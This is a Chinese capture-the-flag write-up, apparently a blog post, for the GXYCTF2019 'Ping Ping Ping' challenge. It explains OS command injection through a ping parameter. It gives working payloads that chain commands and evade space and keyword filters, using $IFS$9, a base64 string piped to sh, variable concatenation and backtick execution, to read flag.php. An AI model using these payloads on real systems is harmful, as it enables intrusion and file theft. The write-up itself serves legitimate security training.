[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

这是一道考察命令执行的题目,其中涉及到的知识点是空格的绕过。

一、前置知识

做这道题之前,我们先来看一下linux中对空格的绕过有哪些方法:

  1. ${IFS}
  2. $IFS$9 $9可改成其他数字
  3. <
  4. <> 重定向符
  5. {cat,flag.php} 用逗号,实现了空格功能
    在这里插入图片描述

再看一下Linux中执行多条命令的方法:

1.分号 ;
2. ||
3. &&
在这里插入图片描述

二、题解

好,下面让我们看这道题目:
在这里插入图片描述

提示接收一个ip参数。

在这里插入图片描述
发现它会去ping我们传入的ip,也就是去执行了ping命令。

那么我们尝试执行多条命令试试:
在这里插入图片描述
可以看到在当前目录下,有index.php和flag.php两个文件。但是当我尝试去读flag.php的时候,出现了过滤信息:
在这里插入图片描述
很显然这里是过滤了空格。
经过测试,发现$IFS$数字,这种方式可以成功绕过空格。应该是过滤了{}和<>。
在这里插入图片描述
但是紧接着又来了一个过滤:flag。
这时候就有两种思路可以想到:

  1. 编码绕过关键词。
  2. 变量拼接绕过关键词。

先来看第一种思路,编码绕过,这里用的是base64编码:
我们需要执行的命令是:

cat$IFS$9flag.php

base64之后为:

Y2F0JElGUyQ5ZmxhZy5waHA=

那么payload就是:

?ip=1;echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh

在这里插入图片描述
发现可以成功读取flag.php。

再看第二种思路,变量拼接:
同样,我们需要的执行的命令是:

cat$IFS$9flag.php

那么已知flag被过滤,我们可以将flag拆成fl和ag。

a=fl;b=ag;cat$IFS$9$a$b.php

那么payload就是:

?ip=1;a=fl;b=ag;cat$IFS$9$a$b.php

在这里插入图片描述
但是发现依旧被过滤,说明源码中过滤flag的方式可能是*f*l*a*g的方式过滤的。

问题不大,那我们直接就用一个变量拼接试试:

?ip=1;b=ag;cat$IFS$9fl$b.php

在这里插入图片描述
成功读取flag。

flag:

flag{ce6c851b-f31c-4f44-9131-f98d16807127}

三、另一种绕过方式

除了上面两种绕过方式,笔者还看到了另一种payload,就是用反引号产生的内联执行,也就是将反引号内命令的输出当作输入。
payload为:

?ip=1;cat$IFS$9`ls`

在这里插入图片描述
而且发现index.php有过滤的源码,这之前倒是没想起来看index.php。

四、题后思考

这道题的编码绕过还有其他很多中方式,比如hex编码、shellcode编码等等。

可以看这篇文章,扩展一下知识面:
浅谈命令执行的绕过方法

  • 2
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值